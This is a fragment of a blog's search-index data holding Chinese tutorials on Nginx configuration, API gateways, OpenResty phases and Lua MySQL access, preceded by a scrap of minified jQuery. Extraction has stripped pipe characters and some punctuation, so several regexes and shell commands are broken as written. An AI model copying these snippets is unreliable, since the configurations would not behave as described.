f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks(\"once memory\").add(function(){V.remove(a,[b+\"queue\",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a&&(b=a,a=\"fx\",c--),arguments.length"},{"path":"/notes/index.html","content":"随记随记 @tianhao_wang@eberhard@eberhard@eberhard@eberhard@vklemen"},{"title":"朋友文章","path":"/friends/rss/index.html","content":""},{"title":"三.Nginx配置文件详解","path":"/wiki/API-Gateway/三. Nginx配置文件详解.html","content":"总字符数: 4.91K 代码: 5.06K, 文本: 无 预计阅读时间: 22 分钟 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157# 以哪个用户,运行nginx应用# nobody是个低权限用户,为了安全# user nobody;# nginx进程数启动进程,通常设置成cpu的核数# 查看cpu核数# cat /proc/cpuinfoworker_processes 1;# 全局错误日志# nginx的error_log类型如下(从左到右: debug最详细crit最少):# [debug info notice warn error crit ]# 例如: error_log logs/nginx_error.log crit;# 解释:日志文件存储在nginx安装目录下的 logs/nginx_error.log,错误类型为crit,也就是记录最少错误信息;error_log logs/error.log;error_log logs/notice.log notice;error_log logs/info.log info;# PID文件,记录当前启动的nginx的进程IDpid logs/nginx.pid;# 这个参数表示worker进程最多能打开的文件句柄数,基于liunx系统ulimit设置# 查看系统文件句柄数最大值:ulimit -n# Linux一切皆文件,所有请求过来最终目的访问文件,所以该参数值设置等同于liunx系统ulimit设置为优worker_rlimit_nofile 65535;# 工作模式及连接数上限events { # 网络模型高效(相当于建立索引查找结果),nginx配置应该启用该参数 # 但是仅用于linux2.6以上内核,可以大大提高nginx的性能 use epoll; # 该参数表示设置一个worker进程最多开启多少线程数 # 优化设置应该等同于worker_rlimit_nofile设置值,表明一个线程处理一个http请求,同时可以处理一个文件数,各个模块之间协调合作不等待. worker_connections 65535;}# 设定http服务器,利用它的反向代理功能提供负载均衡支持http { # 设定mime类型,类型由mime.type文件定义 # NIME(Multipurpose Internet Nail Extensions)多用途互联网邮件扩展类型.是设定某种扩展名的文件用一种应用程序来#打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开 include /etc/nginx/mime.types; default_type application/octet-stream; # 设定日志格式 log_format main '[$remote_addr] - [$remote_user] [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer"' '"$http_user_agent" "$http_x_forwarded_for"'; access_log/var/log/nginx/access.log # sendfile # 开启高效文件传输模式,sendfile指令指定nginx是否调用sendfile函数来输出文件,对于普通应用设为on,如果用来进行下载等应用磁盘I0重负载应用,可设置为off,以平衡磁盘与网络I/0处理速度,降低系统的负载.注意:如果图片显示不正常把这个改成off. sendfile on; #防止网络阻塞 tcp_nopush on; #防止网络阻塞 tcp_nodelay on; # 连接超时时间 # keepalive_timeout 0; #长连接超时时间,单位是秒 keepalive_timeout 65; # 开启gzip压缩 gzip on; # IE6及以下禁止压缩 gzip_disable "MSIE [1-6]\\."; # 最小压缩文件大小 gzip_min_length 1k; # 压缩缓冲区 gzip_buffers 4 16k; # 压缩版本(默认1.1,前端如果是squid2.5请使用(1.0) gzip_http_version 1.0; # 压缩等级 gzip_comp_level 2; # 压缩类型 gzip_types text/plain application/x-javascript text/css application/xml; # 给CDN和代理服务器使用,针对相同url,可以根据头信息返回压缩和非压缩副本 gzip_vary on; # 设定请求缓冲 client_header_buffer_size 1k;# 上传文件大小限制 large_client_header_buffers 4 4k;# 设定请求缓存 # 设定负载均衡的服务器列表 upstream mysvr { # weigth参数表示权值,权值越高被分配到的几率越大 server 192.168.8.1x:3128 weight=5; server 192.168.8.2x:80 weight=1; server 192.168.8.3x:80 weight=6; } upstream mysvr2 { # weigth参数表示权值,权值越高被分配到的几率越大 server 192.168.8.x:8 weight=1; server 192.168.8.x:8 weight=6; } # 虚拟主机的配置 server { # 侦听80端口 listen 80; # 设置编码 charset koi8-r; # 定义使用www.xx.com访问域名可以有多个,用空格隔开 server_name www.xx.com; # 设定本虚拟主机的访问日志 access_log logs/www.xx.com.access.log main; #默认请求 location / { #定义服务器的默认网站根目录位置 root /root; # 定义首页索引文件的名称 index index.php index.html index.htm; # 请求转向mysvr定义的服务器列 proxy_pass http://mysvr; # 以下是一些反向代理的配置可删除. proxy_redirect off; # 后端的web服务器可以通过x-Forwarded-For获取用户真实IP proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 允许客户端请求的最大单文件字节数 client_max_body_size 10m; # 缓冲区代理缓冲用户端请求的最大字节数. client_body_buffer_size 128k; # nginx跟后端服务器连接超时时间(代理连接超时) proxy_connect_timeout 90; # 后端服务器数据回传时间(代理发送超时) proxy_send_timeout 90; # 连接成功后,后端服务器响应时间(代理接收超时) proxy_read_timeout 90; # 设置代理服务器(nginx)保存用户头信息的缓冲区大小 proxy_buffer_size 4k; # proxy_buffers缓冲区,网页平均在32k以下的话,这样设置 proxy_buffers 4 32k; # 高负荷下缓冲大小(proxy_buffers*2) proxy_busy_buffers_size 64k; # 设定缓存文件夹大小,大于这个值,将从upstream服务器传 proxy_temp_file_write_size 64k; } # 定义错误提示页面 error_page 500 502 503 504 /50x.html; location = /50x.html { root /root; } # 本地动静分离反向代理配置 # 所有jsp的页面均交由tomcat或resin处理 location ~.(jspjspxdo)?$ { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8088; } # 静态文件,nginx自己处理 location ~ ^/(imagesjavascriptjscssflashmediastatic)/ { root /var/www/virtual/htdocs; # 过期30天,静态文件不怎么更新,过期可以设大一点,如果频繁更新,则可以设置得小一点. expires 30d; } # 设定查看Nginx状态的地址 location /NginxStatus { stub_status on; access_log on; auth_basic "NginxStatus"; auth_basic_user_file conf/htpasswd; #htpasswd文件的内容可以用apache提供的htpasswd工具来产生. } #禁止访问.htxxx文件 location ~ /\\.ht { deny all; } }}","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"一.漫谈Nginx网关","path":"/wiki/API-Gateway/一. 漫谈Nginx网关.html","content":"总字符数: 4.18K 代码: 无, 文本: 2.05K 预计阅读时间: 9 分钟 什么是网关 在传统TCP/IP术语中,网络设备只分成两种,一种为网关(gateway),另一种为主机(host).网关能在网络间转递数据包,但主机不能转送数据包.在主机(又称终端系统,end system)中,数据包需经过TCP/IP四层协议处理,但是在网关(又称中介系统,intermediate system)只需要到达网际层,决定路径之后就可以转送.在当时,网关(gateway)与路由器(router)还没有区别. 在现代网络术语中,网关(gateway)与路由器(router)的定义不同.网关(gateway)能在不同协议间移动资料,而路由器(router)是在不同网络间移动资料,相当于传统所说的IP网关(IP gateway). 网关顾名思义就是连接两个网络的设备,对于语音网关来说,他可以连接PSTN和以太网,这就相当于VOIP,把不同电话中的模拟信号通过网关而转换成数字信号,而且加入协议再去传输.在到了接收端的时候再通过网关还原成模拟的电话信号,最后才能在电话机上听到. 对于以太网中的网关只能转发三层以上数据包,这一点和路由是一样的.而不同的是网关中并没有路由表,他只能按照预先设定的不同网段来进行转发.网关最重要的一点就是端口映射,子网内用户在外网看来只是外网的IP地址对应着不同的端口,这样看来就会保护子网内的用户. 单节点场景 多节点场景 网关作用 统一入口 安全:黑名单、权限身份认证 限流:实现微服务访问流量计算,基于流量计算分析进行限流,可以定义多种限流规则 缓存:数据缓存 日志:日志记录 监控:记录请求响应数据,api耗时分析,性能监控 重试:异常重试 熔断:降级 现有框架 Tyk: Tyk是一个开放源码的API网关,它是快速、可扩展和现代的.Tyk提供了一个API管理平台,其中包括API网关、API分析、开发人员门户和API管理面板.Trk是一个基于Go实现的网关服务. Kong: Kong是一个可扩展的开放源码API Layer(也称为API网关或API中间件).Kong在任何RESTful API的前面运行,通过插件扩展,它提供了超越核心平台的额外功能和服务. Orange:和Kong类似也是基于OpenResty的一个API网关程序,是由国人开发的. Netflix zuul:Zuul是一种提供动态路由、监视、弹性、安全性等功能的边缘服务.Zuul是Netflix出品的一个基于JVM路由和服务端的负载均衡器. apiaxle: Nodejs实现的一个API 网关. api-umbrella: Ruby 实现的一个API网关. 技术选型 正向代理 代理(英语:Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接.一些网关、路由器等网络设备具备网络代理功能.一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击. 反向代理 反向代理在电脑网络中是代理服务器的一种.服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在[1]. 与前向代理不同,前向代理作为客户端的代理,将从互联网上获取的资源返回给一个或多个的客户端,服务端(如Web服务器)只知道代理的IP地址而不知道客户端的IP地址;而反向代理是作为服务器端(如Web服务器)的代理使用,而不是客户端.客户端借由前向代理可以间接访问很多不同互联网服务器(集群)的资源,而反向代理是供很多客户端都通过它间接访问不同后端服务器上的资源,而不需要知道这些后端服务器的存在,而以为所有资源都来自于这个反向代理服务器. 反向代理在现时的互联网中并不少见,而另一些例子,像是CDN、SNI代理等,是反向代理结合DNS的一类延伸应用. 正向代理与反向代理的区别 正向代理是需要在用户的电脑上配置正向代理服务器的;而反向代理不需要,因为用户是直接访问的反向代理服务器 正向代理的应用场景是用户是知道目标服务器的地址,如:www.google.com,但不能直接访问,那么就需要在用户电脑配置一个正向代理服务器,用户再次访问www.google.com就可以正常访问了;而反向代理的应用场景是用户本来就不知道目标服务器的地址.而是由平台方提供一个反向代理服务器的地址,用户直接访问反向代理服务器的地址就行.不管目标服务器有多少,用户不需要关心,只要访问反向代理服务器就ok;由反向代理服务器去解析访问目标服务器 反向代理极大的保护了应用的安全性,而且此结构可以很好的搭建负载均衡","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"五.openresty执行流程","path":"/wiki/API-Gateway/五. Openresty执行流程.html","content":"总字符数: 3.24K 代码: 无, 文本: 1.31K 预计阅读时间: 6 分钟 Nginx处理阶段Nginx处理请求的过程一共划分为11个阶段,按照执行顺序依次是 post-read(读取请求内容阶段) NGX_HTTP_POST_READ_PHASE:nginx读取并解析完请求头之后就立即开始运行:例如模块ngx_realip就在post-read阶段注册了处理程序,它的功能是迫使Nginx认为当前请求的来源地址是指定的某一个请求头的值 server-rewrite(server请求地址重写阶段) NGX_HTTP_SERVER_REWRITE_PHASE:当ngx_rewrite模块的set配置指令直接写在server配置块中时,基本上都是运行在server-rewrite阶段 find-config(配置查找阶段) NGX_HTTP_FIND_CONFIG_PHASE:这个阶段并不支持Nginx模块注册处理程序,而是由Nginx核心来完成当前请求与location配置块之间的配对工作. rewrite(location请求地址重写阶段) NGX_HTTP_REWRITE_PHASE:当ngx_rewrite指令用于location中,就是再这个阶段运行的;另外ngx_set_misc(设置md5、encode_base64等)模块的指令,还有ngx_lua模块的set_by_lua指令和rewrite_by_lua指令也在此阶段. post-rewrite(请求地址重写提交阶段) NGX_HTTP_POST_REWRITE_PHASE:当nginx完成rewrite阶段所要求的内部跳转动作,如果rewrite阶段有这个要求的话; preaccess(访问权限检查准备阶段) NGX_HTTP_PREACCESS_PHASE:ngx_limit_req和ngx_limit_zone在这个阶段运行,ngx_limit_req可以控制请求的访问频率,ngx_limit_zone可以控制访问的并发度; access(访问权限检查阶段) NGX_HTTP_ACCESS_PHASE:标准模块ngx_access、第三方模块ngx_auth_request以及第三方模块ngx_lua的access_by_lua 指令就运行在这个阶段.配置指令多是执行访问控制相关的任务,如检查用户的访问权限,检查用户的来源IP是否合法; post-access(访向权限检查提交阶段) NGX_HTTP_POST_ACCESS_PHASE:主要用于配合access阶段实现标准ngx_http_core模块提供的配置指令satisfy的功能.satisfy all(与关系),satisfy any(或关系) try-files(配置项try_files处理阶段) NGX_HTTP_TRY_FILES_PHASE:专门用于实现标准配置指令try_files的功能,如果前N-1个参数所对应的文件系统对象都不存在,try-files阶段就会立即发起"内部跳转"到最后一个参数(即第N个参数)所指定的URI. content(内容产生阶段) NGX_HTTP_CONTENT_PHASE:是所有请求处理阶段中最为重要的阶段,因为这个阶段的指令通常是用来生成HTTP响应内容并输出HTTP响应的使命; log(日志模块处理阶段) NGX_HTTP_LOG_PHASE:记录日志 注意:Nginx的Conf中的指令的书写顺序和执行顺序是两码事,不支持Nginx模块注册处理程序的阶段:find-config post-rewrite post-access(主要用于Nginx本身完成一些自己的逻辑),常用的有rewite阶段 access阶段 content阶段 Nginx下Lua处理阶段与使用范围OpenResty处理请求大致分为四个阶段 初始化阶段 重写与访问阶段 内容生成阶段 日志记录阶段 lua-nginx-module-arch 注意:生产环境中要加入lua_code_cache on到http指令中中.lua_code_cache:开启或关闭Lua代码缓存 阶段的存在,应该是OpenResty不同于其他多数Web Server编程的最明显特征了.由于nginx把一个会话分成了很多阶段,这样第三方模块就可以根据自己行为挂载到不同阶段进行处理达到目的. 指令可以在http server server if location location if几个范围进行配置: 指令 处理阶段 使用范围 解释 init_by_lua init_by_lua_file loading-config http Nginx Master进程加载配置时执行;通常用于初始化全局配置/预加载Lua模块 init_worker_by_lua init_worker_by_lua_file starting-worker http 每个Nginx worker进程启动时调用的计时器,如果Master进程不允许则只会在init_by_lua之后调用;通常用于定时拉取配置/数据,或者后端服务的健康检查 set_by_lua set_by_lua_file rewrite server,server if,location,location if 设置nginx变量,可以实现复杂的赋值逻辑;此处是阻塞的,Lua代码要做到非常快; rewrite_by_lua rewrite_by_lua_file rewrite tail http,server,location, location if 可以实现复杂的转发/重定向逻辑; access_by_lua access_by_lua_file access tail http,server,location,location if 实现访问控制 content_by_lua content_by_lua_file content location,location if header_filter_by_lua header_filter_by_lua_file output-header-filter http,server,location,location if 响应HTTP过滤处理(例如添加头部信息),设置Header和Cookie body_filter_by_lua body_filter_by_lua_file output-body-filter http,server,location,location if Body过滤处理(完成应答内容统一成大写)对响应数据进行过滤,比如:截断,替换 log_by_lua log_by_lua_file log http,server,location,location if 响应完成后本地异步完成日志记录(日志可以记录在本地,还可以同步到其他机器)阶段处理,比如记录访问量/统计平均响应时间","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"四.OpenResty中使用mysql","path":"/wiki/API-Gateway/四. OpenResty中使用MySql.html","content":"总字符数: 4.03K 代码: 3.64K, 文本: 0.12K 预计阅读时间: 16 分钟 定义关闭mysql连接函数1234567-- 定义关闭mysql的连接local function close_db(db) if not db then return end db:close()end 创建实例1234567891011121314151617181920212223242526-- 引入mysql模块 local mysql = require("resty.mysql") -- 创建实例 local db,err = mysql:new() if not db then ngx.say("new mysql error:",error) return end -- 设置超时时间(毫秒) db:set_timeout(1000) -- 连接属性定义 local props = { host = "192.168.8.106", port = "3306", database = "test", user = "test", password = "123456", charset = "utf8" } local res,err,errno,sqlstate = db:connect(props) if not res then ngx.say("connect to mysql error:",err,",errno:",errno,",sqlstate:",sqlstate) return close_db(db) end 删除语句函数123456789ngx.say("--删除表user--","<br/>") -- 定义删除语句 local drop_table_sql = "drop table if exists user" res,err,errno,sqlstate=db:query(drop_table_sql) if not res then ngx.say("drop table error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end 创建语句函数12345678ngx.say("--创建表user--","<br/>") -- 定义创建语句 local create_table_sql = "create table user(id int primary key auto_increment, ch varchar(100))" res,err,errno,sqlstate=db:query(create_table_sql) if not res then ngx.say("create table error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end 插入语句函数123456789101112131415161718192021222324252627ngx.say("--插入数据user--","<br/>") local insert_sql = "insert into user(ch) values('hello')" res,err,errno,sqlstate=db:query(insert_sql) if not res then ngx.say("insert error:",err,",errno:",errno,",sqlstate:",sqlstate) return close_db(db) end res,err,errno,sqlstate=db:query(insert_sql) ngx.say("insert rows:",res.affected_rows,",id:",res.insert_id,"<br/>") -- res的返回值 对于新增/修改/删除会返回如下格式的响应: --[[ { insert id = 0, insert_id是在使用自增序列时产生的id server_status = 2, warning_count = 1, affected_rows = 32, affected_rows表示操作影响的行数 message =nil } -- 对于查询会返回如下格式的响应: { id = 1,ch = "hello"}, id = 2,ch = "hello2"} } --]] 更新语句函数123456789ngx.say("--更新表user--","<br/>") -- 定义更新语句 local update_table_sql = "update user set ch = 'hello2' where id ="..res.insert_id res,err,errno,sqlstate=db:query(update_table_sql) if not res then ngx.say("update table error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end ngx.say("update rows:",res.affected_rows,"<br/>") 查询语句函数12345678910111213141516171819202122232425262728293031323334ngx.say("--查询user--","<br/>") local select_sql = "select id, ch from user" res,err,errno,sqlstate=db:query(select_sql) if not res then ngx.say("select error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end for i, row in ipairs(res) do for name,value in pairs(row) do ngx.say("select row",i,":",name,"=",value,"<br/>") end end -- 参数查询 ngx.say("--查询user-根据ch参数--","<br/>") --防止sql注入 local ch_param = ngx.req.get_uri_args()["ch"] or '' --使用ngx.quote_sql _str防止sql注入 local query_sql = "select id,ch from user where ch = " .. ngx.quote_sql_str(ch_param) res,err,errno,sqlstate = db:query (query_sql) if not res then ngx.say("select error:",err,",errno:",errno,"salstate:",sqlstate) return close_db (db) end for i, row in ipairs (res) do for name,value in pairs (row) do ngx.say ("select row",i,":",name,"=",value,"<br/>") end end 最后使用close_db(db)关闭数据库 Nginx引入Lua12345678910111213141516http{ # 定义lua文件的路径 lua_package_path "/usr/local/openresty/nginx/lua?.lua;;"; server { listen 80; server_name localhost; charset utf-8; location / { default_type text/html; charset utf-8; # 引入lua文件 content_by_lua_file /usr/local/openresty/nginx/lua/mysql.lua; } } } MysqlSelect MysqlSelect1","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"二.Nginx相关知识","path":"/wiki/API-Gateway/二. Nginx相关知识.html","content":"总字符数: 10.98K 代码: 6.19K, 文本: 2.21K 预计阅读时间: 37 分钟 Nginx安装12345678910111213141516cd /opt# Nginx下载wget http://nginx.org/download/nginx-1.13.0.tar.gz# 解压tar -zxvf nginx-1.13.0.tar.gz# 安装依赖yum -y install gcc gcc-c++ ncurses-devel perl pcre pcre-devel zlib gzip zlib-devel# Nginx编译./configure --prefix=/usr/local/nginx# 安装Nginxmake & make install# 安装路径:/usr/local/nginxconf 存放配置文件html 网页文件logs 存放日志sbin shell启动、停止等脚本 Nginx平滑升级把服务器从低版本升级为高版本,强行停止服务器,会影响正在运行的进程.平滑升级不会停掉正在进行中的进程,这些进程会继续处理请求.但不会再接受新请求,这些老的进程在处理完请求之后会停止.此平滑升级过程中,新开的进程会被处理. 123456789101112131415161718192021222324252627282930313233# 下载高版本nginxwget http://nginx.org/download/nginx-1.13.1.tar.gz# configure./configure# 编译平滑升级不要进行安装,不要make installmake# 进入objs目录有高版本的nginxcd objs# 备份低版本的nginxcp /usr/sbin/nginx ./nginx.old# 执行强制覆盖cp -rfp objs/nginx /usr/sbin/# 测试一下新复制过来文件生效情况/usr/local/nginx/sbin/nginx -tps -ef grep nginx# 执行信号平滑升级kill -USR2 主程序进程号# 给nginx发送USR2信号后,nginx会将1ogs/nginx.pid文件重命名为nginx.pid.oldbin,然后用新的可执行文件启动一个新的nginx主进程和对应的工作进程,并新建一个新的nginx.pid保存新的主进程号ps -ef grep nginxkill -WINCH 旧的主进程号# 旧的主进程号收到WINCH信号后,将旧进程号管理的旧的工作进程优雅的关闭.即一段时间后旧的工作进程全部关闭,只有新的工作进程在处理请求连接.这时,依然可以恢复到旧的进程服务,因为旧的进程的监听socket还未停止.处理完后,工作进程会自动关闭ps -ef grep nginxKILL -QUIT 旧的主进程号# 给旧的发送QUIT信号后,旧的主进程退出,并移除nginx.pid.oldbin文件,nginx升级完成# 升级完成后,看一下升级后的版本/usr/sbin/nginx -v# 中途停止升级,回滚到旧的nginx不在升级# 在以上 kill -WINCH 旧的主进程号 这个步骤时,如果想回到旧的nginx,不再进行升级# 1. 给旧的主进程号发送HUP命令,此时nginx不重新读取配置文件的情况下重新启动旧主进程的工作进程.kill -HUP 旧主进程号# 2. 优雅的关闭新的主进程kill -QUIT 新主进程号 Nginx命令 nginx启动 nginx/nginx -c nginx配置文件 nginx重启(重启是建立在nginx服务器已经启动的基础上) nginx -s reload nginx停止 nginx -s stop stop是快速关闭,不管有没有正在处理的请求 nginx -s quit quit是一个优雅的关闭方式,Nginx在退出前完成已经接受的连接请求 nginx 重启打开日志 nginx -s reopen nginx检查配置文件 nginx -t Nginx信号控制从容关闭旧进程 具体语法:kill -信号选项 nginx的主进程号 例:kill -INT 26661 ps -ef grep nginx获得进程号 从容”优雅”停止 kill -QUIT master进程号 Nginx服务可以正常地处理完当前所有请求再停止服务 步骤:首先会关闭监听端口,停止接收新的连接,然后把当前正在处理的连接全部处理完,最后再退出进程 快速停止 kill -TERM master进程号 kill -INT master进程号 快速停止服务时,worker进程与master进程在收到信号后会立刻跳出循环,退出进程 强制停止 kill -9 nginx系统强杀nginx进程 重启nginx kill -HUP master进程号 Nginx基本配置Nginx配置文件详解 12345678910111213141516171819# Nginx的主配置文件是:nginx.conf,nginx.conf主要组成如下:# 全局区有一个工作子进程,一般设置为CPU数*核数worker_processes 1;events { # 一般是配置nginx进程与连接的特性 # 如1个word能同时允许多少连接,一个子进程最大允许连接1024个连接 worker_connections 1024;}# 配置HTTP服务器配置段http { # 配置虚拟主机段 server { # 定位,把特殊的路径或文件再次定位. location { } } server { }} nginx配置连接数1234567891011121314151617181920# 表示开启nginx的worker进程的个数,nginx启动会开两种进程,master进程用来管理调度,worker进程用来处理请求:worker_processes:1;# 两种设置方法,比如# 方法一:worker_processes auto;# 表示设置服务器cpu核数匹配开启nginx开启的worker进程数# 查看cpu核数:cat /proc/cpuinfo# 方法二:nginx设置cpu亲和力worker_processes 8;worker_cpu_affinity 00000001 0000010 00000100 00001000 00010000 00100000 01000000 10000000;# 00000001表示启用第一个CPU内核,00000010表示启用第二个CPU内核,以此类推# worker_cpu_affinity:表示开启八个进程,第一个进程对应着第一个CPU内核,第二个进程对应着第二个CPU内核,以此类推.# 这种设置方法更高效,因将每个cpu核提供给固定的worker进程服务,减少cpu上下文切换带来的资源浪费# 如果服务器cpu有限 比如:2核CPU,开启2个进程,设置如下worker_processes 2;worker_cpu_affinity 01 10;# 比如:4核CPU,开启4个进程,设置如下worker_processes 2;worker_cpu_affinity 0001 0010 0100 1000;# 1个worker进程能够最大打开的文件数(线程数)worker_connections 65535 (参考worker_rlimit_nofile) nginx作为http服务器 最大的客户端连接数 max_cloents = worker_processes * worker_connections/2 nginx作为反向代理服务器的时候 最大的客户端连接数 max_cloents = worker_processes * worker_connections/4 由此,我们可以进算出nginx作为http服务器最大并发量(作为反向代理服务器自己类推),可以作为压测和线上环境的优化提供一些理论依据: 单位时间keepalive_timeout内nginx最大并发量CC = worker_processes * worker_connections/2=8*65535/2 每秒并发量CS:CS = worker_processes * worker_connections/(2*65) 虚拟主机 虚拟主机(英语:virtual hosting)或称 共享主机(shared web hosting),又称虚拟服务器,是一种在单一主机或主机群上,实现多网域服务的方法,可以运行多个网站或服务的技术.虚拟主机之间完全独立,并可由用户自行管理,虚拟并非指不存在,而是指空间是由实体的服务器延伸而来,其硬件系统可以是基于服务器群,或者单个服务器. 其技术是互联网服务器采用的节省服务器硬件成本的技术,虚拟主机技术主要应用于HTTP,FTP,EMAIL等多项服务,将一台服务器的某项或者全部服务内容逻辑划分为多个服务单位,对外表现为多个服务器,从而充分利用服务器硬件资源.如果划分是系统级别的,则称为虚拟服务器. 配置虚拟主机我们先配置在一个nginx中配置一个虚拟主机,编辑nginx.conf配置文件,在http模块中,配置server模块,一个server模块就针对一个虚拟主机. 我们模拟一个独立的网站,此网站域名访问为www.server1.com;网站的根目录放到nginx目录下htm1/server1目录,我们创建一个首页index.html到server1中,编辑index.html 1234567<!DOCTYPE html><html><head><title>server1 首页</title>/ head><body><h1>server1 首页</h1></body></html> 下面我们回到nginx.conf配置文件中,配置server模块 123456789101112131415161718192021222324252627# 下面我们回到nginx.conf配置文件中,配置server模块server {# 监听80端口listen 80;# 虚拟主机名,可以为域名或ip地址server_name www.server1.com;# 默认请求路由,以后文章中会重点介绍location / { # 网站的根目录 root html/server1; # 默认首页文件名index index.html index.htm; }}server {# 监听80端口listen 80;# 虚拟主机名,可以为域名或ip地址server_name www.server2.com;# 默认请求路由,以后文章中会重点介绍location / { # 网站的根目录 root html/server2; # 默认首页文件名index index.html index.htm; }} 注意:在配置server模块时,监听的端口listen和server_name组合起来是唯一的,如果server_name一样,那么listen监听的端口就不一样:如端口一样,server_name就不一样.这是很好理解的,虚拟主机的请求映射系统才能够判别. 日志文件格式配置nginx服务在运行的时候,会有各种操作,操作的信息会记录到日志文件中,日志文件的记录是有格式的.那我们如何设置日志文件的格式呢? 123# 使用log_format指令进行配置文件格式# nginx的1og_format有很多可选的参数用于指示服务器的活动状态,默认的是:log_format main '$remote_addr - $remote_user [$time_local] "$request"' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log指令1234# 语法:access_log path [format [buffer=size [flush=time]]];access_log path format gzip[=level] [buffer=size] [flush=time];access_log off; 配置段: gzip压缩等级. buffer设置内存缓存区大小. flush保存在缓存区中的最长时间.不记录日志:access_log off; 使用默认combined格式记录日志:access_log logs/access.log或 access_log logs/access.log combined;值得注意的是,Nginx进程设置的用户和组必须对日志路径有创建文件的权限,否则,会报错. 此外,对于每一条日志记录,都将是先打开文件,再写入日志,然后关闭.可以使用open_log file_cache来设置日志文件缓存(默认是off). 日志切割wordpress.log-—>wordpress-2021-09-16.log以日期命名存放 1234567# 将log文件修改为想存放的日志格式mv access.log access-2021-09-16.log# 查看Nginx进程号ps -ef grep nginx# 发送重读日志信号kill -USR1 nginx进程号# 通过mv命令 把当前的log文件重读命令,再用信号控制指令 发送重读日志指令 产生了新的日志log文件 系统自动切割利用sh脚本的方式执行刚才的手动操作,在每天凌晨执行一个计划任务调用sh脚本,就完成了系统自动切割日志文件 在opt/目录下编写sh脚本 123456789101112131415161718192021222324# 进入目录cd /opt# 创建脚本文件touch cutlog.sh# 打开文件vim cutlog.sh# 以下是文件内容#!/bin/bash# 根据自己的logs路径修改一下路径LOGS_PATH=/usr/local/nginx/logs/wordpressYESTERDAY=$(date -d "yesterday" +%Y-%m-%d)# 根据自己的日志文件名修改下方access.log名称mv ${LOGS_PATH}/wordpress_access.log ${LOGS_PATH}/wordpress_access_${YESTERDAY}.1og#向 Nginx主进程发送USR1信号.USR1信号是重新打开日志文件kill -USR1 $(cat /usr/local/nginx/nginx/logs/nginx.pid) # 保存并退出(按ESC键输入):wq# 给sh脚本赋予权限chmod +x cutlog.sh# 设置定时任务vim /etc/crontab# 定时每天00:00以root身份执行脚本/opt/cutlog.sh0 0 * * * root /opt/cutlog.sh# 实现定时定点自动切割日志文件 location配置详解 语法规则:location [=~~*^~] /uri/ {...} location区分普通匹配和正则匹配 123456用前缀"~"和" \\~*"修饰的为正则匹配~ 前缀表示区分大小写的正则匹配~* 前缀表示不区分大小写的正则匹配除上面修饰的前缀("="和"^~",或没有前缀修饰)都为普通匹配= 前缀表示精确匹配^~前缀表示uri以某个常规字符串开头,可以理解为url的普通匹配 location作用于server模块,且支持多个location模块 12345678910111213server { location /test { root html/p; index index.html index.htm;} location = /50x.html { root html;} location / {root html/server1;index index.html index.htm; }} 匹配的原则 普通匹配,最大前缀匹配原则 12345678910server { location /prefix/ { #规则A } location /prefix/mid/ { #规则B } }请求ur1为:/prefix/mid/t.html此请求匹配的是规则B,是以最大的匹配原则进行的,跟顺序无关 正则匹配 为顺序匹配 1234567891011server { location ~ \\.(gifljpglpngljscss)$ { #规则C } location~* \\.png$ { #规则D } }请求http://localhost/1.png,匹配的是规则c,因为规则c在前面,即叫做顺序匹配 在实际场景中,通常至少有三个匹配规则定义 1234567891011121314151617181920#直接匹配网站根,通过域名访问网站首页比较频繁,使用这个会加速处理.#这里是直接转发给后端应用服务器了,也可以是一个静态首页#第一个必选规则location =/ { ····}#第二个必选规则是处理静态文件请求,这是nginx作为http服务器的强项#有两种配置模式,目录匹配或后缀匹配,任选其一或搭配使用location ^~ /static/ {root /webroot/static/;}location ~* \\.(gifjpgjpegpngcssjsico)$ {root /webroot/res/;}#第三个规则就是通用规则,用来转发动态请求到后端应用服务器#非静态文件请求就默认是动态请求,自己根据实际把握#毕竟目前的一些框架的流行、带.php,.jsp后缀的情况很少了location / { ·····} 负载均衡 负载平衡(Load balancing)是一种电脑技术,用来在多个电脑(电脑集群)、网络连接、CPU、磁盘驱动器或其他资源中分配负载,以达到优化资源使用、最大化吞吐率、最小化响应时间、同时避免过载的目的. 使用带有负载平衡的多个服务器组件,取代单一的组件,可以通过冗余提高可靠性.负载平衡服务通常是由专用软件和硬件来完成. 主要作用是将大量作业合理地分摊到多个操作单元上进行执行,用于解决互联网架构中的高并发和高可用的问题. nginx实现负载均衡原理,用户访问首先访问到nginx服务器,然后nginx服务器再从应用服务器集群中选择压力比较小的服务器,然后将该访问请求引向该服务器.如果应用服务器集群中某一台服务器崩溃,那么从待选择服务器列表中将该服务器删除,也就是说一个服务器崩溃了,那么nginx服务器不会把请求引向到该服务器. 1234567891011 upstream myproxy{ server 10.10.1.2:8080; server 10.10.1.3:8080; } server{ listen 80; server\\_name wordpress-1258894728.cos.ap-beijing.myqcloud.com; location / { proxy\\_pass http://myproxy; } } 负载均衡方案 随机(轮询) 1234upstream 